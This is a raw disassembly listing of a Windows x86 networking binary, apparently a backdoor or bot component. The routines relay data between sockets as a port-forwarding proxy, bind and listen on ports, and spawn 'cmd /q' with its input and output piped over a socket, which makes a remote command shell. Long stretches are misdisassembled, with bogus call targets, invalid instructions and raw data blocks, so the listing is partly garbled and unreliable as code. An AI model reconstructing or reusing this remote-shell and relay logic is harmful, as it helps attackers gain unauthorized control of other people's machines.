cmp [ebp+var_30], esi
jnz loc_410A5C
push 32h
call dword_427064 ; Sleep
jmp short loc_410AF0
; ---------------------------------------------------------------------------
loc_410B03: ; CODE XREF: sub_4109AC+142j
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_43C280
call sub_41581A
pop ecx
pop ecx
jmp short loc_410B1B
; ---------------------------------------------------------------------------
loc_410B18: ; CODE XREF: sub_4109AC+63j
; sub_4109AC+97j ...
mov edi, [ebp+arg_0]
loc_410B1B: ; CODE XREF: sub_4109AC+16Aj
push edi
call dword_4D1288 ; closesocket
push [ebp+arg_0]
call dword_4D1288 ; closesocket
push [ebp+var_40]
call sub_40B32A
pop ecx
push esi
call near ptr 0B40000h
in eax, dx
pop edi
pop esi
sub_4109AC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410B3D proc near ; DATA XREF: sub_4109AC+124o
var_1344 = byte ptr -1344h
var_344 = byte ptr -344h
var_144 = byte ptr -144h
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1344h
call sub_41C1D0
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
mov ebx, [ebp+var_30]
push 1
pop ecx
mov [ebp+var_4], ebx
push 6
push ecx
push 2
mov [eax+120h], ecx
call dword_4D1270 ; socket
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+arg_0], esi
jz loc_410CF3
push 10h
lea eax, [ebp+var_18]
push edi
push eax
call sub_41BC40
add esp, 0Ch
mov [ebp+var_18], 2
push [ebp+var_3C]
call dword_4D11F0 ; ntohs
mov [ebp+var_16], ax
lea eax, [ebp+var_13C]
push eax
call dword_4D1230 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_410BCD
lea eax, [ebp+var_13C]
push eax
call dword_4D1274 ; gethostbyname
jmp short loc_410BDB
; ---------------------------------------------------------------------------
loc_410BCD: ; CODE XREF: sub_410B3D+7Fj
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_4D11A8 ; gethostbyaddr
loc_410BDB: ; CODE XREF: sub_410B3D+8Ej
cmp eax, edi
jz loc_410CF3
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_14], eax
lea eax, [ebp+var_18]
push eax
push esi
call dword_4D1198 ; connect
cmp eax, 0FFFFFFFFh
jz loc_410CF3
movzx eax, [ebp+var_16]
push [ebp+var_34]
mov [ebp+var_20], edi
push eax
push [ebp+var_14]
call dword_4D127C ; inet_ntoa
push eax
lea eax, [ebp+var_344]
push offset unk_43C344
push eax
call sub_41BF36
push esi
lea eax, [ebp+var_344]
push 18h
push eax
call sub_40B00E
imul ebx, 234h
mov [ebp+var_30], eax
imul eax, 234h
mov ecx, [ebp+var_34]
lea esi, dword_44412C[ebx]
mov dword_444124[eax], ecx
add esp, 20h
mov ecx, [esi]
mov dword_444130[eax], ecx
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_144]
push edi
push eax
push offset loc_410D24
push edi
push edi
call dword_42707C ; CreateThread
mov ecx, [ebp+var_30]
imul ecx, 234h
cmp eax, edi
mov dword_444134[ecx], eax
jz short loc_410CE0
loc_410C8D: ; CODE XREF: sub_410B3D+15Dj
cmp [ebp+var_20], edi
jnz short loc_410C9C
push 32h
call dword_427064 ; Sleep
jmp short loc_410C8D
; ---------------------------------------------------------------------------
loc_410C9C: ; CODE XREF: sub_410B3D+153j
mov ebx, 1000h
loc_410CA1: ; CODE XREF: sub_410B3D+19Fj
push ebx
lea eax, [ebp+var_1344]
push edi
push eax
call sub_41BC40
add esp, 0Ch
lea eax, [ebp+var_1344]
push edi
push ebx
push eax
push dword ptr [esi]
call dword_4D1208 ; recv
cmp eax, edi
jle short loc_410CF3
push edi
push eax
lea eax, [ebp+var_1344]
push eax
push [ebp+arg_0]
call dword_4D1240 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_410CA1
jmp short loc_410CF3
; ---------------------------------------------------------------------------
loc_410CE0: ; CODE XREF: sub_410B3D+14Ej
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_43C304
call sub_41581A
pop ecx
pop ecx
loc_410CF3: ; CODE XREF: sub_410B3D+44j
; sub_410B3D+A0j ...
mov eax, [ebp+var_4]
imul eax, 234h
push dword_44412C[eax]
call dword_4D1288 ; closesocket
push [ebp+arg_0]
call dword_4D1288 ; closesocket
push [ebp+var_4]
call sub_40B32A
pop ecx
push edi
call near ptr 0B40000h
retn 5E5Fh
sub_410B3D endp
; ---------------------------------------------------------------------------
pop ebx
loc_410D24: ; DATA XREF: sub_410B3D+130o
push ebp
mov ebp, esp
mov eax, 1128h
call sub_41C1D0
mov eax, [ebp+8]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp-128h]
rep movsd
mov esi, [ebp-14h]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_410D5B: ; CODE XREF: .nsp0:00410DA0j
push edi
lea eax, [ebp-1128h]
push 0
push eax
call sub_41BC40
add esp, 0Ch
lea eax, [ebp-1128h]
push 0
push edi
push eax
push dword_444130[esi]
call dword_4D1208 ; recv
test eax, eax
jle short loc_410DA2
push 0
push eax
lea eax, [ebp-1128h]
push eax
push dword_44412C[esi]
call dword_4D1240 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_410D5B
loc_410DA2: ; CODE XREF: .nsp0:00410D85j
push dword_444130[esi]
call dword_4D1288 ; closesocket
push dword ptr [ebp-14h]
call sub_40B32A
pop ecx
push 0
; ---------------------------------------------------------------------------
db 0E8h, 42h, 0F2h
; ---------------------------------------------------------------------------
jb short $+2
std
pop edi
pop esi
push ebp
mov ebp, esp
sub esp, 3D4h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 78h
mov esi, eax
pop ecx
lea edi, [ebp-3D4h]
push 1
mov dword ptr [ebp-0Ch], 1Eh
pop ebx
rep movsd
mov [eax+1DCh], ebx
mov eax, [ebp-208h]
mov [ebp+8], eax
imul eax, 234h
lea esi, dword_44412C[eax]
xor edi, edi
mov [ebp-8], edi
mov [ebp-1F4h], ebx
mov eax, [esi]
mov [ebp-1F0h], eax
lea eax, [ebp-0Ch]
push eax
push edi
lea eax, [ebp-1F4h]
push edi
push eax
push edi
call dword_4D11D8 ; select
test eax, eax
jnz short near ptr loc_410E44+1
push dword ptr [esi]
call dword_4D1288 ; closesocket
push dword ptr [ebp+8]
call sub_40B32A
pop ecx
push edi
call near ptr 0B40000h
loc_410E44: ; CODE XREF: .nsp0:00410E2Bj
xchg dl, [edi-73h]
inc ebp
les edx, [ebx+50h]
push dword ptr [esi]
call dword_4D1208 ; recv
lea eax, [ebp-2Ch]
push 10h
push eax
push dword ptr [esi]
call near ptr loc_410FC5+1
lea eax, [ebp-4Ch]
push 10h
push eax
push dword ptr [esi]
call near ptr loc_410FC5+1
lea eax, [ebp-0F0h]
push 40h
push eax
push dword ptr [esi]
call near ptr loc_410FC5+1
add esp, 24h
lea eax, [ebp-4]
mov dword ptr [ebp-4], 10h
push eax
lea eax, [ebp-1Ch]
push eax
push dword ptr [esi]
call dword_4D1144 ; getpeername
test eax, eax
jz short near ptr loc_410EBD+1
call dword_4D1184 ; WSAGetLastError
push eax
push offset unk_43C41C
call sub_41581A
push dword ptr [ebp+8]
call sub_40B32A
add esp, 0Ch
push edi
call near ptr 0B40000h
loc_410EBD: ; CODE XREF: .nsp0:00410E99j
sbb al, 6Ah
add cl, [ebp+46AE845h]
push eax
call dword_4D11A8 ; gethostbyaddr
cmp eax, edi
jnz short loc_410EE8
push dword ptr [ebp-18h]
call dword_4D127C ; inet_ntoa
push eax
lea eax, [ebp-0B0h]
push eax
call sub_41BF36
jmp short loc_410EF6
; ---------------------------------------------------------------------------
loc_410EE8: ; CODE XREF: .nsp0:00410ECEj
push dword ptr [eax]
lea eax, [ebp-0B0h]
push eax
call sub_41C550
loc_410EF6: ; CODE XREF: .nsp0:00410EE6j
pop ecx
pop ecx
push edi
push ebx
push offset byte_443398
push dword ptr [esi]
call dword_4D1240 ; send
cmp dword_4D3F58, edi
jnz short near ptr loc_410F57+1
push dword ptr [ebp-18h]
lea eax, [ebp-350h]
push eax
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
call sub_411020
add esp, 10h
test eax, eax
jnz short near ptr loc_410F57+1
push edi
push 13h
push offset aPermissionDeni ; "Permission denied\n"
push dword ptr [esi]
call dword_4D1240 ; send
push dword ptr [esi]
call dword_4D1288 ; closesocket
push dword ptr [ebp+8]
call sub_40B32A
pop ecx
push edi
call near ptr 0B40000h
loc_410F57: ; CODE XREF: .nsp0:00410F0Dj
; .nsp0:00410F2Ej
test dword ptr [ebp-0AF7Bh], 458D50FFh
aam 50h
push offset unk_43C3E0
call sub_41581A
push dword ptr [ebp+8]
call sub_4112D7
add esp, 10h
test eax, eax
jnz short loc_410F9F
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_43C3B4
call sub_41581A
push dword ptr [ebp+8]
call sub_40B32A
add esp, 0Ch
push ebx
call near ptr 0B40000h
aas
loc_410F9F: ; CODE XREF: .nsp0:00410F7Aj
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
push offset unk_43C388
call sub_41581A
push dword ptr [ebp+8]
call sub_40B32A
add esp, 10h
push edi
call near ptr 0B40000h
loc_410FC5: ; CODE XREF: .nsp0:00410E5Bp
; .nsp0:00410E68p ...
db 67h
push ebp
mov ebp, esp
push ecx
push esi
push 0
lea eax, [ebp-1]
push 1
push eax
push dword ptr [ebp+8]
call dword_4D1208 ; recv
cmp eax, 1
jnz short loc_411016
mov esi, [ebp+0Ch]
loc_410FE4: ; CODE XREF: .nsp0:00411007j
mov al, [ebp-1]
mov [esi], al
inc esi
dec dword ptr [ebp+10h]
jz short loc_41100B
test al, al
jz short loc_41101A
push 0
lea eax, [ebp-1]
push 1
push eax
push dword ptr [ebp+8]
call dword_4D1208 ; recv
cmp eax, 1
jz short loc_410FE4
jmp short loc_411016
; ---------------------------------------------------------------------------
loc_41100B: ; CODE XREF: .nsp0:00410FEDj
push offset unk_43C448
call sub_41581A
pop ecx
loc_411016: ; CODE XREF: .nsp0:00410FDFj
; .nsp0:00411009j
xor eax, eax
jmp short loc_41101D
; ---------------------------------------------------------------------------
loc_41101A: ; CODE XREF: .nsp0:00410FF1j
push 1
pop eax
loc_41101D: ; CODE XREF: .nsp0:00411018j
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
sub_411020 proc near ; CODE XREF: .nsp0:00410F24p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_0]
push [esp+4+arg_8]
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz short loc_41104B
push [esp+arg_4]
push [esp+4+arg_0]
push offset dword_43C474
call sub_41581A
add esp, 0Ch
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41104B: ; CODE XREF: sub_411020+11j
push 1
pop eax
retn
sub_411020 endp
; ---------------------------------------------------------------------------
byte_41104F db 55h ; DATA XREF: .nsp0:00403E86o
dd 0EC81EC8Bh, 5A4h, 5608458Bh, 59786A57h, 0BD8DF08Bh
dd 0FFFFFDECh, 0A5F3016Ah, 0DCB8895Fh, 8D000001h, 0FFFA5C85h
dd 26850FFh, 0FF000002h, 4D116015h, 3BF63300h, 501D74C6h
dd 43C5E468h, 4784E800h, 75FF0000h, 0A28CE8B4h, 0C483FFFFh
dd 59E8570Ch, 740072EFh, 12CD6857h, 4DE80041h, 0B80072EFh
dd 2975C085h, 708C15FFh, 68500042h, 43C5A0h, 4751E8h, 0FF595900h
dd 4D114815h, 0B475FF00h, 0FFA251E8h, 0E85759FFh, 72EF20h
dd 106A531Eh, 56E0458Dh, 0AB52E850h, 0C4830000h, 45C7660Ch
dd 0FF0002E0h, 15FFB075h, 4D11F0h, 6A57066Ah, 45896602h
dd 0E47589E2h, 127015FFh, 0D88B004Dh, 0FFFFB83h, 13B84h
dd 0B4458B00h, 0C069106Ah, 234h, 412C9889h, 458D0044h
dd 0FF5350E0h, 4D121C15h, 0FC08500h, 11785h, 0FFFF6800h
dd 0FF537FFFh, 4D121815h, 0FC08500h, 10385h, 0C5646800h
dd 45C70043h, 0CF0h, 0F4758900h, 0E8F87589h, 463Ah, 87D8959h
dd 0C7FC458Dh, 10FC45h, 8D500000h, 5350CC45h, 128415FFh
dd 0F88B004Dh, 0FFFFF83h, 0CA84h, 875FF00h, 5008458Dh
dd 0FF68086Ah, 570000FFh, 11D015FFh, 0F883004Dh, 0FC574FFh
dd 0FFCE45B7h, 7589B475h, 75FF50C8h, 7C15FFD0h, 50004D12h
dd 0FBEC858Dh, 2068FFFFh, 500043C5h, 0AD65E8h, 0EC858D00h
dd 50FFFFFBh, 45C9E8h, 858D5700h, 0FFFFFBECh, 0E850096Ah
dd 0FFFF9E22h, 69B84589h, 234C0h, 0B44D8B00h, 8924C483h
dd 44412488h, 0DC458D00h, 0EC858D50h, 56FFFFFDh, 0DC16850h
dd 458D0041h, 0FF5056F0h, 42707C15h, 0B84D8B00h, 234C969h
dd 0C63B0000h, 41348189h, 13740044h, 0FC87539h, 0FFFF3785h
dd 0FF326AFFh, 42706415h, 0FFEDEB00h, 42708C15h, 0E4685000h
dd 0E80043C4h, 45C6h, 3EB5959h, 0FF087D8Bh, 4D118415h
dd 858D5000h, 0FFFFFBECh, 43C4AC68h, 0C3E85000h, 830000ACh
dd 75390CC4h, 562075C4h, 0FBEC858Dh, 75FFFFFFh, 858D50C0h
dd 0FFFFFDF0h, 0ECB5FF50h, 0E8FFFFFDh, 0FFFF873Ah, 8D14C483h
dd 0FFFBEC85h, 0FFE850FFh, 59000044h, 8815FF57h, 53004D12h
dd 128815FFh, 15FF004Dh, 4D1148h, 0E8B475FFh, 0FFFFA066h
dd 35E85659h, 0E20072EDh, 39C0335Bh, 0F042444h
db 94h, 0C0h, 0C3h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4112D7 proc near ; CODE XREF: .nsp0:00410F70p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push edi
call sub_411428
imul edi, 234h
mov esi, eax
xor ebx, ebx
mov eax, dword_44412C[edi]
mov [ebp+var_C], 0Ch
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [esi+0Ch], eax
mov edi, dword_42707C
pop ecx
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_4115FA
lea eax, [ebp+var_C]
push ebx
push eax
call edi ; dword_42707C
cmp eax, ebx
mov [esi+10h], eax
jnz short loc_411342
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_43C644
call sub_41581A
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
pop ecx
jmp short loc_41137C
; ---------------------------------------------------------------------------
loc_411342: ; CODE XREF: sub_4112D7+50j
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset loc_4116AC
lea eax, [ebp+var_C]
push ebx
push eax
call edi ; dword_42707C
cmp eax, ebx
mov [esi+14h], eax
jnz short loc_411383
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_43C644
call sub_41581A
pop ecx
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
push ebx
push dword ptr [esi+14h]
call near ptr 0B40000h
inc eax
loc_41137C: ; CODE XREF: sub_4112D7+69j
xor eax, eax
jmp loc_411423
; ---------------------------------------------------------------------------
loc_411383: ; CODE XREF: sub_4112D7+82j
mov eax, [esi+10h]
push 0FFFFFFFFh
mov [ebp+var_18], eax
mov eax, [esi+14h]
mov [ebp+var_14], eax
mov eax, [esi+8]
mov [ebp+var_10], eax
lea eax, [ebp+var_18]
push ebx
push eax
push 3
call near ptr 0B40000h
xor ebp, [ebx]
retn
; ---------------------------------------------------------------------------
jz short loc_4113DD
dec eax
jz short loc_4113D7
dec eax
jz short loc_4113C3
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_43C610
call sub_41581A
pop ecx
pop ecx
jmp short loc_4113F2
; ---------------------------------------------------------------------------
loc_4113C3: ; CODE XREF: sub_4112D7+D5j
mov edi, dword_4270AC
push ebx
push dword ptr [esi+14h]
call edi ; dword_4270AC
push ebx
push dword ptr [esi+10h]
call edi ; dword_4270AC
jmp short loc_4113F2
; ---------------------------------------------------------------------------
loc_4113D7: ; CODE XREF: sub_4112D7+D2j
push ebx
push dword ptr [esi+10h]
jmp short loc_4113E1
; ---------------------------------------------------------------------------
loc_4113DD: ; CODE XREF: sub_4112D7+CFj
push ebx
push dword ptr [esi+14h]
loc_4113E1: ; CODE XREF: sub_4112D7+104j
call near ptr 0B40000h
; ---------------------------------------------------------------------------
dw 6A8Fh
dd 876FF01h, 72EC0FE8h
db 0, 43h
; ---------------------------------------------------------------------------
loc_4113F2: ; CODE XREF: sub_4112D7+EAj
; sub_4112D7+FEj
push dword ptr [esi+10h]
mov edi, dword_42706C
call edi ; dword_42706C
push dword ptr [esi+14h]
call edi ; dword_42706C
push dword ptr [esi+8]
call edi ; dword_42706C
push dword ptr [esi]
call edi ; dword_42706C
push dword ptr [esi+4]
call edi ; dword_42706C
push dword ptr [esi+0Ch]
call dword_4D1288 ; closesocket
push esi
call sub_41B961
pop ecx
push 1
pop eax
loc_411423: ; CODE XREF: sub_4112D7+A7j
pop edi
pop esi
pop ebx
leave
retn
sub_4112D7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411428 proc near ; CODE XREF: sub_4112D7+Dp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
xor edi, edi
push 18h
mov [ebp+var_4], edi
mov [ebp+var_8], edi
call sub_41BBCB
mov esi, eax
pop ecx
cmp esi, edi
jz loc_411512
mov ebx, dword_427100
lea eax, [ebp+var_14]
push edi
push eax
lea eax, [ebp+var_8]
mov [esi], edi
push eax
mov [esi+4], edi
push esi
mov [ebp+var_14], 0Ch
mov [ebp+var_10], edi
mov [ebp+var_C], 1
call ebx ; dword_427100
mov edi, dword_42706C
test eax, eax
jnz short loc_41148B
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_43C6F4
jmp short loc_4114AB
; ---------------------------------------------------------------------------
loc_41148B: ; CODE XREF: sub_411428+53j
lea eax, [ebp+var_14]
push 0
push eax
lea eax, [esi+4]
push eax
lea eax, [ebp+var_4]
push eax
call ebx ; dword_427100
test eax, eax
jnz short loc_4114B3
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_43C6B4
loc_4114AB: ; CODE XREF: sub_411428+61j
call sub_41581A
pop ecx
jmp short loc_4114E1
; ---------------------------------------------------------------------------
loc_4114B3: ; CODE XREF: sub_411428+75j
push [ebp+arg_0]
push [ebp+var_8]
push [ebp+var_4]
call sub_411521
add esp, 0Ch
mov [esi+8], eax
push [ebp+var_4]
call edi ; dword_42706C
push [ebp+var_8]
call edi ; dword_42706C
cmp dword ptr [esi+8], 0
jnz short loc_411516
push offset unk_43C68C
call sub_4157A6
loc_4114E1: ; CODE XREF: sub_411428+89j
cmp [ebp+var_4], 0
pop ecx
jz short loc_4114ED
push [ebp+var_4]
call edi ; dword_42706C
loc_4114ED: ; CODE XREF: sub_411428+BEj
cmp [ebp+var_8], 0
jz short loc_4114F8
push [ebp+var_8]
call edi ; dword_42706C
loc_4114F8: ; CODE XREF: sub_411428+C9j
mov eax, [esi]
test eax, eax
jz short loc_411501
push eax
call edi ; dword_42706C
loc_411501: ; CODE XREF: sub_411428+D4j
mov eax, [esi+4]
test eax, eax
jz short loc_41150B
push eax
call edi ; dword_42706C
loc_41150B: ; CODE XREF: sub_411428+DEj
push esi
call sub_41B961
pop ecx
loc_411512: ; CODE XREF: sub_411428+1Dj
xor eax, eax
jmp short loc_41151C
; ---------------------------------------------------------------------------
loc_411516: ; CODE XREF: sub_411428+ADj
or dword ptr [esi+0Ch], 0FFFFFFFFh
mov eax, esi
loc_41151C: ; CODE XREF: sub_411428+ECj
pop edi
pop esi
pop ebx
leave
retn
sub_411428 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411521 proc near ; CODE XREF: sub_411428+94p
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
push 44h
pop edi
xor esi, esi
push edi
lea eax, [ebp+var_58]
push esi
push eax
mov [ebp+var_4], esi
call sub_41BC40
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41BC40
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
add esp, 18h
mov [ebp+var_20], eax
lea eax, [ebp+var_18]
mov [ebp+var_58], edi
mov edi, dword_4270FC
push esi
push 1
push 2
push eax
mov [ebp+var_54], esi
mov [ebp+var_4C], esi
mov [ebp+var_50], esi
mov [ebp+var_3C], esi
mov [ebp+var_40], esi
mov [ebp+var_44], esi
mov [ebp+var_48], esi
mov [ebp+var_28], si
mov [ebp+var_24], esi
mov [ebp+var_26], si
mov [ebp+var_2C], 101h
mov [ebp+var_1C], ebx
call edi ; dword_4270FC
push eax
push ebx
call edi ; dword_4270FC
push eax
call near ptr 0B40000h
int 8Dh ; used by BASIC while in interpreter
inc ebp
in al, dx
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
push offset aCmdQ ; "cmd /q"
push esi
call near ptr 0B40000h
pusha
test eax, eax
jz short loc_4115DD
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_C]
imul eax, 234h
push [ebp+var_10]
mov esi, [ebp+var_14]
mov dword_444128[eax], ecx
call dword_42706C ; CloseHandle
jmp short loc_4115F3
; ---------------------------------------------------------------------------
loc_4115DD: ; CODE XREF: sub_411521+9Aj
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_43C734
call sub_41581A
mov esi, [ebp+var_4]
pop ecx
pop ecx
loc_4115F3: ; CODE XREF: sub_411521+BAj
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_411521 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4115FA proc near ; DATA XREF: sub_4112D7+3Fo
var_1B0 = byte ptr -1B0h
var_C8 = byte ptr -0C8h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
push esi
mov ebx, dword_4270E8
push edi
mov edi, [ebp+arg_0]
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
loc_411623: ; CODE XREF: sub_4115FA+8Fj
call ebx ; dword_4270E8
test eax, eax
jz short loc_41168B
xor eax, eax
xor dl, dl
xor esi, esi
cmp [ebp+arg_0], eax
jbe short loc_41165E
loc_411634: ; CODE XREF: sub_4115FA+62j
mov cl, [ebp+esi+var_C8]
cmp cl, 0Ah
jnz short loc_41164E
cmp dl, 0Dh
jz short loc_41164E
mov [ebp+eax+var_1B0], 0Dh
inc eax
loc_41164E: ; CODE XREF: sub_4115FA+44j
; sub_4115FA+49j
mov [ebp+eax+var_1B0], cl
inc eax
inc esi
mov dl, cl
cmp esi, [ebp+arg_0]
jb short loc_411634
loc_41165E: ; CODE XREF: sub_4115FA+38j
push 0
push eax
lea eax, [ebp+var_1B0]
push eax
push dword ptr [edi+0Ch]
call dword_4D1240 ; send
test eax, eax
jle short loc_41168B
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
jmp short loc_411623
; ---------------------------------------------------------------------------
loc_41168B: ; CODE XREF: sub_4115FA+2Dj
; sub_4115FA+79j
mov esi, dword_42708C
call esi ; dword_42708C
cmp eax, 6Dh
jz short loc_4116A7
call esi ; dword_42708C
push eax
push offset unk_43C774
call sub_41581A
pop ecx
pop ecx
loc_4116A7: ; CODE XREF: sub_4115FA+9Cj
pop edi
pop esi
pop ebx
leave
retn
sub_4115FA endp
; ---------------------------------------------------------------------------
loc_4116AC: ; DATA XREF: sub_4112D7+71o
push ebp
mov ebp, esp
sub esp, 0DCh
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+8]
xor esi, esi
mov [ebp-10h], ebx
mov [ebp-0Ch], ebx
loc_4116C5: ; CODE XREF: .nsp0:004116E5j
; .nsp0:00411783j ...
push ebx
lea eax, [ebp+0Bh]
push 1
push eax
push dword ptr [edi+0Ch]
call dword_4D1208 ; recv
test eax, eax
jle loc_4117CA
cmp [ebp-10h], ebx
jbe short loc_4116E7
dec dword ptr [ebp-10h]
jmp short loc_4116C5
; ---------------------------------------------------------------------------
loc_4116E7: ; CODE XREF: .nsp0:004116E0j
mov al, [ebp+0Bh]
movsx ecx, al
cmp ecx, 0FFh
jz loc_4117AA
cmp al, 8
mov [ebp-0Ch], ebx
jz short loc_411757
cmp al, 7Fh
jz short loc_411757
cmp al, 3
jnz short near ptr loc_41170F+3
push ebx
push ebx
call near ptr 0B40000h
loc_41170F: ; CODE XREF: .nsp0:00411706j
mov al, ds:153C6CEBh
jnz short loc_411734
xor esi, esi
mov byte ptr [ebp-8], 20h
mov byte ptr [ebp-7], 58h
mov byte ptr [ebp-6], 58h
mov byte ptr [ebp-5], 58h
mov byte ptr [ebp-4], 0Dh
mov byte ptr [ebp-3], 0Ah
push 6
jmp short loc_41176A
; ---------------------------------------------------------------------------
loc_411734: ; CODE XREF: .nsp0:00411714j
mov [ebp+esi-0DCh], al
inc esi
push 1
cmp al, 0Dh
mov [ebp-8], al
pop ecx
jnz short loc_41176B
mov byte ptr [ebp+esi-0DCh], 0Ah
mov byte ptr [ebp-7], 0Ah
inc esi
push 2
jmp short loc_41176A
; ---------------------------------------------------------------------------
loc_411757: ; CODE XREF: .nsp0:004116FEj
; .nsp0:00411702j
cmp esi, ebx
jbe short loc_411781
dec esi
mov byte ptr [ebp-8], 8
mov byte ptr [ebp-7], 20h
mov byte ptr [ebp-6], 8
push 3
loc_41176A: ; CODE XREF: .nsp0:00411732j
; .nsp0:00411755j
pop ecx
loc_41176B: ; CODE XREF: .nsp0:00411744j
push ebx
lea eax, [ebp-8]
push ecx
push eax
push dword ptr [edi+0Ch]
call dword_4D1240 ; send
test eax, eax
jle short loc_4117CA
mov al, [ebp+0Bh]
loc_411781: ; CODE XREF: .nsp0:00411759j
cmp al, 0Dh
jnz loc_4116C5
lea eax, [ebp-14h]
push ebx
push eax
lea eax, [ebp-0DCh]
push esi
push eax
push dword ptr [edi+4]
call near ptr 0B40000h
xor al, [ebp+332774C0h]
imul cl
sbb edi, edi
; ---------------------------------------------------------------------------
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4117AA: ; CODE XREF: .nsp0:004116F3j
cmp [ebp-0Ch], ebx
jnz short loc_4117BB
mov dword ptr [ebp-0Ch], 1
jmp loc_4116C5
; ---------------------------------------------------------------------------
loc_4117BB: ; CODE XREF: .nsp0:004117ADj
mov dword ptr [ebp-10h], 0Ah
mov [ebp-0Ch], ebx
jmp loc_4116C5
; ---------------------------------------------------------------------------
loc_4117CA: ; CODE XREF: .nsp0:004116D7j
; .nsp0:0041177Cj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4117CF: ; DATA XREF: .nsp0:004046FEo
push ebp
mov ebp, esp
sub esp, 2D4h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 10h
mov esi, eax
pop ebx
lea edi, [ebp-0D4h]
push 2Ch
mov [ebp-4], ebx
pop ecx
rep movsd
push 1
xor esi, esi
pop edi
mov [eax+0A8h], edi
push ebx
lea eax, [ebp-14h]
push esi
push eax
call sub_41BC40
add esp, 0Ch
mov word ptr [ebp-14h], 2
push dword ptr [ebp-40h]
call dword_4D11F0 ; ntohs
push 6
push edi
push 2
mov [ebp-12h], ax
mov [ebp-10h], esi
call dword_4D1270 ; socket
mov edi, eax
mov eax, [ebp-3Ch]
imul eax, 234h
push ebx
mov dword_44412C[eax], edi
lea eax, [ebp-14h]
push eax
push edi
call dword_4D121C ; bind
test eax, eax
jnz loc_411971
push 0Ah
push edi
call dword_4D1218 ; listen
test eax, eax
jnz loc_411971
push dword ptr [ebp-40h]
push dword ptr [ebp-0D4h]
call sub_40AB6A
pop ecx
push eax
lea eax, [ebp-2D4h]
push offset dword_432588
push eax
call sub_41BF36
add esp, 10h
